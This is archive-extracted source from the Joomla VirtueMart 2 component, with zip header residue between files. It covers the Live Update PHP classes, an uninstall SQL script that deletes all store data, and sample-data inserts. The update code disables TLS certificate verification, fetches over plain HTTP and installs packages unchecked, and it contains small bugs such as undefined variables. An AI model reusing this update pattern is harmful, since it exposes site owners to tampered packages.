CSS $config = LiveUpdateConfig::getInstance(); $this->assign('config', $config); if(!$config->addMedia()) { // No custom CSS overrides were set; include our own $document = JFactory::getDocument(); $url = JURI::base().'/components/'.JRequest::getCmd('option','').'/liveupdate/assets/liveupdate.css'; $document->addStyleSheet($url, 'text/css'); } $requeryURL = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&force=1'; $this->assign('requeryURL', $requeryURL); $extInfo = (object)$config->getExtensionInformation(); JToolBarHelper::title($extInfo->title.' – '.JText::_('LIVEUPDATE_TASK_OVERVIEW'),'liveupdate'); if(version_compare(JVERSION,'1.6.0','ge')) { $msg = 'JTOOLBAR_BACK'; } else { $msg = 'Back'; } JToolBarHelper::back($msg, 'index.php?option='.JRequest::getCmd('option','')); switch(JRequest::getCmd('task','default')) { case 'startupdate': $this->setLayout('startupdate'); $this->assign('url','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); break; case 'install': $this->setLayout('install'); // Get data from the model $state = &$this->get('State'); // Are there messages to display ? $showMessage = false; if ( is_object($state) ) { $message1 = $state->get('message'); $message2 = $state->get('extension.message'); $showMessage = ( $message1 || $message2 ); } $this->assign('showMessage', $showMessage); $this->assignRef('state', $state); break; case 'overview': default: $this->setLayout('overview'); $force = JRequest::getInt('force',0); $this->assign('updateInfo', LiveUpdate::getUpdateInformation($force)); $this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate'); $needsAuth = !($config->getAuthorization()) && ($config->requiresAuthorization()); $this->assign('needsAuth', $needsAuth); break; } parent::display($tpl); } }PKB\=eeliveupdate/classes/model.phpnuW+A */ defined('_JEXEC') or die(); if(!class_exists('JModel')) require JPATH_VM_LIBRARIES.DS.'joomla'.DS.'application'.DS.'component'.DS.'model.php'; /** * The Live Update MVC model */ class LiveUpdateModel extends JModel { public function download() { // Get the path to Joomla!'s temporary directory $jreg =JFactory::getConfig(); $tmpdir = $jreg->getValue('config.tmp_path'); jimport('joomla.filesystem.folder'); // Make sure the user doesn't use the system-wide tmp directory. You know, the one that's // being erased periodically and will cause a real mess while installing extensions (Grrr!) if(realpath($tmpdir) == '/tmp') { // Someone inform the user that what he's doing is insecure and stupid, please. In the // meantime, I will fix what is broken. $tmpdir = JPATH_SITE.DS.'tmp'; } // Make sure that folder exists (users do stupid things too often; you'd be surprised) elseif(!JFolder::exists($tmpdir)) { // Darn it, user! WTF where you thinking? OK, let's use a directory I know it's there... $tmpdir = JPATH_SITE.DS.'tmp'; } // Oki. Let's get the URL of the package $updateInfo = LiveUpdate::getUpdateInformation(); $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $url = $updateInfo->downloadURL; // Sniff the package type. If sniffing is impossible, I'll assume a ZIP package $basename = basename($url); if(strstr($basename,'?')) { $basename = substr($basename, strstr($basename,'?')+1); } if(substr($basename,-4) == '.zip') { $type = 'zip'; } elseif(substr($basename,-4) == '.tar') { $type = 'tar'; } elseif(substr($basename,-4) == '.tgz') { $type = 'tar.gz'; } elseif(substr($basename,-7) == '.tar.gz') { $type = 'tar.gz'; } else { $type = 'zip'; } // Cache the path to the package file and the temp installation directory in the session $target = $tmpdir.DS.$updateInfo->extInfo->name.'.update.'.$type; $tempdir = $tmpdir.DS.$updateInfo->extInfo->name.'_update'; $session = JFactory::getSession(); $session->set('target', $target, 'liveupdate'); $session->set('tempdir', $tempdir, 'liveupdate'); // Let's download! require_once dirname(__FILE__).'/download.php'; return LiveUpdateDownloadHelper::download($url, $target); } public function extract() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.filesystem.archive'); return JArchive::extract( $target, $tempdir); } public function install() { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); $installer =& JInstaller::getInstance(); $packageType = JInstallerHelper::detectType($tempdir); if(!$packageType) { $msg = JText::_('LIVEUPDATE_INVALID_PACKAGE_TYPE'); $result = false; } elseif (!$installer->install($tempdir)) { // There was an error installing the package $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Error')); $result = false; } else { // Package installed sucessfully $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Success')); $result = true; } $app = JFactory::getApplication(); $app->enqueueMessage($msg); $this->setState('result', $result); $this->setState('packageType', $packageType); if($packageType) { $this->setState('name', $installer->get('name')); $this->setState('message', $installer->message); if(version_compare(JVERSION,'1.6.0','ge')) { $this->setState('extmessage', $installer->get('extension_message')); } else { $this->setState('extmessage', $installer->get('extension.message')); } } return $result; } public function cleanup() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.helper'); JInstallerHelper::cleanupInstall($target, $tempdir); $session->clear('target','liveupdate'); $session->clear('tempdir','liveupdate'); } public function getSRPURL($return = '') { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); jimport('joomla.filesystem.file'); $instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; if(!JFile::exists($instModelFile)) return false; require_once JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; $model = JModel::getInstance('Installer', 'AkeebaModel'); $packageType = JInstallerHelper::detectType($tempdir); $name = $model->getExtensionName($tempdir); $url = 'index.php?option=com_akeeba&view=backup&tag=restorepoint&type='.$packageType.'&name='.urlencode($name['name']); switch($type) { case 'module': case 'template': $url .= '&group='.$name['client']; break; case 'plugin': $url .= '&group='.$name['group']; break; } if(!empty($return)) $url .= '&returnurl='.urlencode($return); return $url; } }PKB\w8lff%liveupdate/classes/abstractconfig.phpnuW+A */ defined('_JEXEC') or die(); /** * This is the base class inherited by the config.php file in LiveUpdate's root. * You may override it non-final members to customise its behaviour. * @author Nicholas K. Dionysopoulos * */ abstract class LiveUpdateAbstractConfig extends JObject { /** @var string The extension name, e.g. com_foobar, plg_foobar, mod_foobar, tpl_foobar etc */ protected $_extensionName = 'com_foobar'; /** @var string The human-readable name of your extension */ protected $_extensionTitle = 'Foobar Component for Joomla!'; /** * The filename of the XML manifest of your extension. Leave blank to use extensionname.xml. For example, * if the extension is com_foobar, it will look for com_foobar.xml and foobar.xml in the component's * directory. * @var string * */ protected $_xmlFilename = ''; /** @var string The information storage adapter to use. Can be 'file' or 'component' */ protected $_storageAdapter = 'file'; /** @var array The configuration options for the storage adapter used */ protected $_storageConfig = array('path' => JPATH_CACHE); /** * How to determine if a new version is available. 'different' = if the version number is different, * the remote version is newer, 'vcompare' = use version compare between the two versions, 'newest' = * compare the release dates to find the newest. I suggest using 'different' on most cases. * @var string */ protected $_versionStrategy = 'different'; /** @var The current version of your extension. Populated automatically from the XML manifest. */ protected $_currentVersion = ''; /** @var The current release date of your extension. Populated automatically from the XML manifest. */ protected $_currentReleaseDate = ''; /** @var string The URL to the INI update stream of this extension */ protected $_updateURL = ''; /** @var bool Does the download URL require authorization to download the package? */ protected $_requiresAuthorization = false; /** @var string The username to authorize a download on your site */ protected $_username = ''; /** @var string The password to authorize a download on your site */ protected $_password = ''; /** @var string The Download ID to authorize a download on your site; use it instead of the username/password pair */ protected $_downloadID = ''; /** @var string The path to a local copy of cacert.pem, required if you plan on using HTTPS URLs to fetch live udpate information or download files from */ protected $_cacerts = null; /** @var string The minimum stability level to report as available update. One of alpha, beta, rc and stable. */ protected $_minStability = 'alpha'; /** * Singleton implementation * @return LiveUpdateConfig An instance of the Live Update configuration class */ public static function &getInstance() { static $instance = null; if(!is_object($instance)) { $instance = new LiveUpdateConfig(); } return $instance; } /** * Public constructor. It populates all extension-specific fields. Override to your liking if necessary. */ public function __construct() { parent::__construct(); $this->populateExtensionInfo(); $this->populateAuthorization(); } /** * Returns the URL to the update INI stream. By default it returns the value to * the protected $_updateURL property of the class. Override with your implementation * if you want to modify its logic. */ public function getUpdateURL() { return $this->_updateURL; } /** * Override this ethod to load customized CSS and media files instead of the stock * CSS and media provided by Live Update. If you override this class it MUST return * true, otherwise LiveUpdate's CSS will be loaded after yours and will override your * settings. * * @return bool Return true to stop Live Update from loading its own CSS files. */ public function addMedia() { return false; } /** * Gets the authorization string to append to the download URL. It returns either the * download ID or username/password pair. Please override the class constructor, not * this method, if you want to fetch these values. */ public final function getAuthorization() { if(!empty($this->_downloadID)) { return "dlid=".urlencode($this->_downloadID); } if(!empty($this->_username) && !empty($this->_password)) { return "username=".urlencode($this->_username)."&password=".urlencode($this->_password); } return ""; } public final function requiresAuthorization() { return $this->_requiresAuthorization; } /** * Returns all the information we have about the extension and its update preferences * @return array The extension information */ public final function getExtensionInformation() { return array( 'name' => $this->_extensionName, 'title' => $this->_extensionTitle, 'version' => $this->_currentVersion, 'date' => $this->_currentReleaseDate, 'updateurl' => $this->_updateURL, 'requireauth' => $this->_requiresAuthorization ); } /** * Returns the information regarding the storage adapter * @return array */ public final function getStorageAdapterPreferences() { $config = $this->_storageConfig; $config['extensionName'] = $this->_extensionName; return array( 'adapter' => $this->_storageAdapter, 'config' => $config ); } public final function getVersionStrategy() { return $this->_versionStrategy; } /** * Get the current version from the XML manifest of the extension and * populate the class' properties. */ private function populateExtensionInfo() { require_once dirname(__FILE__).'/xmlslurp.php'; $xmlslurp = new LiveUpdateXMLSlurp(); $data = $xmlslurp->getInfo($this->_extensionName, $this->_xmlFilename); if(empty($this->_currentVersion)) $this->_currentVersion = $data['version']; if(empty($this->_currentReleaseDate)) $this->_currentReleaseDate = $data['date']; } /** * Fetch username/password and Download ID from the component's configuration. */ private function populateAuthorization() { if(!$this->_requiresAuthorization) return; if(substr($this->_extensionName,0,3) != 'com') return; jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent($this->_extensionName); $params = new JParameter($component->params); $this->_username = $params->getValue('username',''); $this->_password = $params->getValue('password',''); $this->_downloadID = $params->getValue('downloadid',''); } public function applyCACert(&$ch) { if(!empty($this->_cacerts)) { if(file_exists($this->_cacerts)) { @curl_setopt($ch, CURLOPT_CAINFO, $this->_cacerts); } } } public function getMinimumStability() { return $this->_minStability; } }PKB\1k+϶!!liveupdate/classes/download.phpnuW+A */ defined('_JEXEC') or die(); /** * Allows downloading packages over the web to your server */ class LiveUpdateDownloadHelper { /** * Downloads from a URL and saves the result as a local file * @param $url * @param $target * @return bool True on success */ public static function download($url, $target) { // Import Joomla! libraries jimport('joomla.filesystem.file'); /** @var bool Did we try to force permissions? */ $hackPermissions = false; // Make sure the target does not exist if(JFile::exists($target)) { if(!@unlink($target)) { JFile::delete($target); } } // Try to open the output file for writing $fp = @fopen($target, 'wb'); if($fp === false) { // The file can not be opened for writing. Let's try a hack. if( JFile::write($target, '') ) { if( self::chmod($target, 511) ) { $fp = @fopen($target, 'wb'); $hackPermissions = true; } } } $result = false; if($fp !== false) { // First try to download directly to file if $fp !== false $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, $fp); // Check if we have a download if($result === true) { // The download is complete, close the file pointer @fclose($fp); // If the filesize is not at least 1 byte, we consider it failed. clearstatcache(); $filesize = @filesize($target); if($filesize <= 0) { $result = false; $fp = @fopen($target, 'wb'); } } } // If we have no download, close the file pointer if($result === false) { @fclose($fp); } } if($result === false) { // Delete the target file if it exists if(file_exists($target)) { if( !@unlink($target) ) { JFile::delete($target); } } // Download and write using JFile::write(); $result = JFile::write($target, self::downloadAndReturn($url) ); } return $result; } /** * Downloads from a URL and returns the result as a string * @param $url * @return mixed Result string on success, false on failure */ public static function downloadAndReturn($url) { $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, null); } return $result; } /** * Does the server support PHP's cURL extension? * @return bool True if it is supported */ private static function hasCURL() { static $result = null; if(is_null($result)) { $result = function_exists('curl_init'); } return $result; } /** * Downloads the contents of a URL and writes them to disk (if $fp is not null) * or returns them as a string (if $fp is null) * @param string $url The URL to download from * @param resource $fp The file pointer to download to. Omit to return the contents. * @return bool|string False on failure, true on success ($fp not null) or the URL contents (if $fp is null) */ private static function &getCURL($url, $fp = null, $nofollow = false) { $result = false; $ch = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($ch); if( !@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1) && !$nofollow ) { // Safe Mode is enabled. We have to fetch the headers and // parse any redirections present in there. curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Get the headers $data = curl_exec($ch); curl_close($ch); // Init $newURL = $url; // Parse the headers $lines = explode("\n", $data); foreach($lines as $line) { if(substr($line, 0, 9) == "Location:") { $newURL = trim(substr($line,9)); } } // Download from the new URL if($url != $newURL) { return self::getCURL($newURL, $fp); } else { return self::getCURL($newURL, $fp, true); } } else { @curl_setopt($ch, CURLOPT_MAXREDIRS, 20); } curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Pretend we are IE7, so that webservers play nice with us curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); if(is_resource($fp)) { curl_setopt($ch, CURLOPT_FILE, $fp); } $result = curl_exec($ch); curl_close($ch); return $result; } /** * Does the server support URL fopen() wrappers? * @return bool */ private static function hasFOPEN() { static $result = null; if(is_null($result)) { // If we are not allowed to use ini_get, we assume that URL fopen is // disabled. if(!function_exists('ini_get')) { $result = false; } else { $result = ini_get('allow_url_fopen'); } } return $result; } private static function &getFOPEN($url, $fp = null) { $result = false; // Track errors if( function_exists('ini_set') ) { $track_errors = ini_set('track_errors',true); } // Open the URL for reading if(function_exists('stream_context_create')) { // PHP 5+ way (best) $httpopts = Array('user_agent'=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); $context = stream_context_create( array( 'http' => $httpopts ) ); $ih = @fopen($url, 'r', false, $context); } else { // PHP 4 way (actually, it's just a fallback as we can't run Admin Tools in PHP4) if( function_exists('ini_set') ) { ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); } $ih = @fopen($url, 'r'); } // If fopen() fails, abort if( !is_resource($ih) ) { return $result; } // Try to download $bytes = 0; $result = true; $return = ''; while (!feof($ih) && $result) { $contents = fread($ih, 4096); if ($contents === false) { @fclose($ih); $result = false; return $result; } else { $bytes += strlen($contents); if(is_resource($fp)) { $result = @fwrite($fp, $contents); } else { $return .= $contents; unset($contents); } } } @fclose($ih); if(is_resource($fp)) { return $result; } elseif( $result === true ) { return $return; } else { return $result; } } /** * Detect and return available download adapters * @return array */ private static function getAdapters() { // Detect available adapters $adapters = array(); if(self::hasCURL()) $adapters[] = 'curl'; if(self::hasFOPEN()) $adapters[] = 'fopen'; return $adapters; } /** * Change the permissions of a file, optionally using FTP * @param string $file Absolute path to file * @param int $mode Permissions, e.g. 0755 */ private static function chmod($path, $mode) { if(is_string($mode)) { $mode = octdec($mode); if( ($mode < 0600) || ($mode > 0777) ) $mode = 0755; } // Initialize variables jimport('joomla.client.helper'); $ftpOptions = JClientHelper::getCredentials('ftp'); // Check to make sure the path valid and clean $path = JPath::clean($path); if ($ftpOptions['enabled'] == 1) { // Connect the FTP client jimport('joomla.client.ftp'); $ftp = &JFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], null, $ftpOptions['user'], $ftpOptions['pass'] ); } if(@chmod($path, $mode)) { $ret = true; } elseif ($ftpOptions['enabled'] == 1) { // Translate path and delete jimport('joomla.client.ftp'); $path = JPath::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/'); // FTP connector throws an error $ret = $ftp->chmod($path, $mode); } else { return false; } } }PKB\liveupdate/classes/index.htmlnuW+APKB\?$$"liveupdate/classes/updatefetch.phpnuW+A */ defined('_JEXEC') or die(); /** * Fetches the update information from the server or the cache, depending on * whether the cache is fresh or not. */ class LiveUpdateFetch extends JObject { private $cacheTTL = 24; private $storage = null; /** * One-stop-shop function which fetches update information and tells you * if there are updates available or not, or if updates are not supported. * * @return int 0 = no updates, 1 = updates available, -1 = updates not supported, -2 = fetching updates crashes the server */ public function hasUpdates() { $updateInfo = $this->getUpdateInformation(); if($updateInfo->stuck) return -2; if(!$updateInfo->supported) return -1; $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); // Filter by stability level $minStability = $config->getMinimumStability(); $stability = strtolower($updateInfo->stability); switch($minStability) { case 'alpha': default: // Reports any stability level as an available update break; case 'beta': // Do not report alphas as available updates if(in_array($stability, array('alpha'))) return 0; break; case 'rc': // Do not report alphas and betas as available updates if(in_array($stability, array('alpha','beta'))) return 0; break; case 'stable': // Do not report alphas, betas and rcs as available updates if(in_array($stability, array('alpha','beta','rc'))) return 0; break; } // Use the version strategy to determine the availability of an update switch($config->getVersionStrategy()) { case 'newest': jimport('joomla.utilities.date'); if(empty($extInfo)) { $mine = new JDate('2000-01-01 00:00:00'); } else { $mine = new JDate($extInfo['date']); } $theirs = new JDate($updateInfo->date); return ($theirs->toUnix() > $mine->toUnix()) ? 1 : 0; break; case 'vcompare': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return (version_compare($theirs, $mine, 'gt')) ? 1 : 0; break; case 'different': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return ($theirs != $mine) ? 1 : 0; break; } } /** * Get the latest version (update) information, either from the cache or * from the update server. * * @param $force bool Set to true to force fetching fresh data from the server * * @return stdClass The update information, in object format */ public function getUpdateInformation($force = false) { // Get the Live Update configuration $config = LiveUpdateConfig::getInstance(); // Get an instance of the storage class $storageOptions = $config->getStorageAdapterPreferences(); require_once dirname(__FILE__).'/storage/storage.php'; $this->storage = LiveUpdateStorage::getInstance($storageOptions['adapter'], $storageOptions['config']); $storage = $this->storage; // Fetch information from the cache if(version_compare(JVERSION, '1.6.0', 'ge')) { $registry = $storage->getRegistry(); $lastCheck = $registry->get('lastcheck', 0); $cachedData = $registry->get('updatedata', null); } else { $lastCheck = $storage->get('lastcheck', 0); $cachedData = $storage->get('updatedata', null); } if(is_string($cachedData)) { $cachedData = trim($cachedData,'"'); $cachedData = json_decode($cachedData); } if(empty($cachedData)) { $lastCheck = 0; } // Check if the cache is at most $cacheTTL hours old $now = time(); $maxDifference = $this->cacheTTL * 3600; $difference = abs($now - $lastCheck); if(!($force) && ($difference <= $maxDifference)) { // The cache is fresh enough; return cached data return $cachedData; } else { // The cache is stale; fetch new data, cache it and return it to the caller $data = $this->getUpdateData($force); $this->storage->set('lastcheck', $now); $this->storage->set('updatedata', json_encode($data)); $this->storage->save(); return $data; } } /** * Retrieves the update data from the server, unless previous runs indicate * that the download process gets stuck and ends up in a WSOD. * * @param bool $force Set to true to force fetching new data no matter if the process is marked as stuck * @return stdClass */ private function getUpdateData($force = false) { $ret = array( 'supported' => false, 'stuck' => true, 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '' ); // If the process is marked as "stuck", we won't bother fetching data again; well, // unless you really force me to, by setting $force = true. if($this->storage->get('stuck',0) && !$force) return (object)$ret; $ret['stuck'] = false; require_once dirname(__FILE__).'/download.php'; // First we mark Live Updates as getting stuck. This way, if fetching the update // fails with a server error, reloading the page will not result to a White Screen // of Death again. Hey, Joomla! core team, are you listening? Some hosts PRETEND to // support cURL or URL fopen() wrappers but using them throws an immediate WSOD. $this->storage->set('stuck', 1); $this->storage->save(); $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $rawData = LiveUpdateDownloadHelper::downloadAndReturn($url); // Now that we have some data returned, let's unmark the process as being stuck ;) $this->storage->set('stuck', 0); $this->storage->save(); // If we didn't get anything, assume Live Update is not supported (communication error) if(empty($rawData) || ($rawData == false)) return (object)$ret; // TODO Detect the content type of the returned update stream. For now, I will pretend it's an INI file. $data = $this->parseINI($rawData); $ret['supported'] = true; return (object)array_merge($ret, $data); } /** * Fetches update information from the server using cURL * @return string The raw server data */ private function fetchCURL() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $process = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($process); curl_setopt($process, CURLOPT_HEADER, 0); // Pretend we are Firefox, so that webservers play nice with us curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110105 Firefox/3.6.14'); curl_setopt($process, CURLOPT_ENCODING, 'gzip'); curl_setopt($process, CURLOPT_TIMEOUT, 10); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false); // The @ sign allows the next line to fail if open_basedir is set or if safe mode is enabled @curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($process, CURLOPT_MAXREDIRS, 20); $inidata = curl_exec($process); curl_close($process); return $inidata; } /** * Fetches update information from the server using file_get_contents, which internally * uses URL fopen() wrappers. * @return string The raw server data */ private function fetchFOPEN() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; return @file_get_contents($urls); } /** * Parses the raw INI data into an array of update information * @param string $rawData The raw INI data * @return array The parsed data */ private function parseINI($rawData) { $ret = array( 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '' ); // Get the magic string $magicPos = strpos($rawData, '; Live Update provision file'); if($magicPos === false) { // That's not an INI file :( return $ret; } if($magicPos !== 0) { $rawData = substr($rawData, $magicPos); } require_once dirname(__FILE__).'/inihelper.php'; $iniData = LiveUpdateINIHelper::parse_ini_file($rawData, false, true); $ret['version'] = $iniData['version']; $ret['date'] = $iniData['date']; $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $glue = strpos($iniData['link'],'?') === false ? '?' : '&'; $ret['downloadURL'] = $iniData['link'] . (empty($auth) ? '' : $glue.$auth); if(array_key_exists('stability', $iniData)) { $stability = $iniData['stability']; } else { // Stability not defined; guesswork mode enabled $version = $ret['version']; if( preg_match('#^[0-9\.]*a[0-9\.]*#', $version) == 1 ) { $stability = 'alpha'; } elseif( preg_match('#^[0-9\.]*b[0-9\.]*#', $version) == 1 ) { $stability = 'beta'; } elseif( preg_match('#^[0-9\.]*rc[0-9\.]*#', $version) == 1 ) { $stability = 'rc'; } elseif( preg_match('#^[0-9\.]*$#', $version) == 1 ) { $stability = 'stable'; } else { $stability = 'svn'; } } $ret['stability'] = $stability; return $ret; } }PKB\)liveupdate/classes/.htaccessnuW+A Order allow,deny Deny from all PKB\liveupdate/index.htmlnuW+APKB\6liveupdate/config.phpnuW+A */ defined('_JEXEC') or die(); /** * Configuration class for your extension's updates. Override to your liking. */ class LiveUpdateConfig extends LiveUpdateAbstractConfig { var $_extensionName = 'com_virtuemart'; var $_extensionTitle = 'Virtuemart 2'; var $_updateURL = 'http://virtuemart.net/index.php?option=com_ars&view=update&format=ini&id=1'; var $_requiresAuthorization = false; var $_versionStrategy = 'different'; function __construct() { $this->_cacerts = dirname(__FILE__).'/../assets/cacert.pem'; parent::__construct(); } }PKB\Minstall/uninstall_data.sqlnuW+A-- Remove all virtuemart data DELETE FROM `#__virtuemart_calcs`; DELETE FROM `#__virtuemart_calc_categories`; DELETE FROM `#__virtuemart_calc_shoppergroups`; DELETE FROM `#__virtuemart_calc_countries`; DELETE FROM `#__virtuemart_calc_states`; DELETE FROM `#__virtuemart_categories`; DELETE FROM `#__virtuemart_category_categories`; DELETE FROM `#__virtuemart_category_medias`; DELETE FROM `#__virtuemart_coupons`; DELETE FROM `#__virtuemart_countries`; DELETE FROM `#__virtuemart_customs`; DELETE FROM `#__virtuemart_manufacturers`; DELETE FROM `#__virtuemart_manufacturercategories`; DELETE FROM `#__virtuemart_manufacturer_medias`; DELETE FROM `#__virtuemart_medias`; DELETE FROM `#__virtuemart_migration_oldtonew_ids`; DELETE FROM `#__virtuemart_orders`; DELETE FROM `#__virtuemart_order_histories`; DELETE FROM `#__virtuemart_order_items`; DELETE FROM `#__virtuemart_order_userinfos`; DELETE FROM `#__virtuemart_paymentmethods`; DELETE FROM `#__virtuemart_paymentmethod_shoppergroups`; DELETE FROM `#__virtuemart_products`; DELETE FROM `#__virtuemart_product_categories`; DELETE FROM `#__virtuemart_product_customfields`; DELETE FROM `#__virtuemart_product_downloads`; DELETE FROM `#__virtuemart_product_manufacturers`; DELETE FROM `#__virtuemart_product_medias`; DELETE FROM `#__virtuemart_product_prices`; DELETE FROM `#__virtuemart_ratings`; DELETE FROM `#__virtuemart_rating_reviews`; DELETE FROM `#__virtuemart_rating_votes`; DELETE FROM `#__virtuemart_shipmentmethods`; DELETE FROM `#__virtuemart_shoppergroups`; DELETE FROM `#__virtuemart_states`; DELETE FROM `#__virtuemart_userinfos`; DELETE FROM `#__virtuemart_userfield_values`; DELETE FROM `#__virtuemart_vendors`; DELETE FROM `#__virtuemart_vendor_medias`; DELETE FROM `#__virtuemart_vmusers`; DELETE FROM `#__virtuemart_vmuser_shoppergroups`; DELETE FROM `#__virtuemart_waitingusers`; DELETE FROM `#__virtuemart_worldzones`;PKB\ZdZ Z install/install_sample_data.sqlnuW+AINSERT IGNORE INTO `#__virtuemart_calcs` (`virtuemart_calc_id`, `virtuemart_vendor_id`, `calc_jplugin_id`, `calc_name`, `calc_descr`, `calc_kind`, `calc_value_mathop`, `calc_value`, `calc_currency`, `calc_shopper_published`, `calc_vendor_published`, `for_override`, `calc_params`, `ordering`, `shared`, `published`) VALUES (1, 1, 0, 'Tax 20%', '', 'VatTax', '+%', 20.0000, 47, 0, 0, 0, '', 0, 0, 1), (2, 1, 0, 'Discount 5%', '', 'DATax', '-%', 5.0000, 47, 0, 0, 0, '', 0, 0, 1), (3, 1, 0, 'Special tax for category pagination 10%, an example for rule per category to show multitax store function', '', 'VatTax', '+%', 10.0000, 47, 0, 0, 0, '', 0, 0, 1); INSERT IGNORE INTO `#__virtuemart_calc_categories` (`id`, `virtuemart_calc_id`, `virtuemart_category_id`) VALUES (1, 3, 3); INSERT IGNORE INTO `#__virtuemart_categories` (`virtuemart_category_id`, `virtuemart_vendor_id`, `category_template`, `category_layout`, `category_product_layout`, `products_per_row`, `limit_list_step`, `limit_list_initial`, `hits`, `metarobot`, `metaauthor`, `ordering`, `shared`, `published`) VALUES (1, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (2, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 2, 0, 1), (3, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 3, 0, 1), (4, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 4, 0, 1), (5, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (6, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 2, 0, 1), (7, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 5, 0, 1), (8, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (9, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1); INSERT IGNORE INTO `#__virtuemart_categories_XLANG` (`virtuemart_category_id`, `category_name`, `category_description`, `metadesc`, `metakey`, `customtitle`, `slug`) VALUES (1, 'Default Products', '

Sample of several default products. You will find settings displayed.

', '', '', '', 'default-products'), (2, 'Default Pattern', '

Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.

', '', '', '', 'default-pattern'), (3, 'Pagination testarea', '

Notice: for correct ordering in product view set valid ordering in BE.
Ordering showcase category. Use this category to test the ordering of products. You can also select several Manufacturer.

', '', '', '', 'pagination-testarea'), (4, 'Headgear', '

Showcase for subcategory with several sample product.

', '', '', '', 'headgear'), (5, 'Hats', '

Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.
Sample for product category. Create new category in VM BE > Product Categories > New

', '', '', '', 'hats'), (6, 'Caps', '

Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.
Sample for product category. Create new category in VM BE > Product Categories > New

', '', '', '', 'caps'), (7, 'Clothes', '', '', '', '', 'clothes'), (8, 'Men clothes', '

Sample for Subcategory.
Select superordinated category in VM BE > Product Categories > Your Category in section Details > Category Ordering

', '', '', '', 'men-clothes'), (9, 'Women clothes', '

Sample for Subcategory.
Select superordinated category in VM BE > Product Categories > Your Category in section Details > Category Ordering

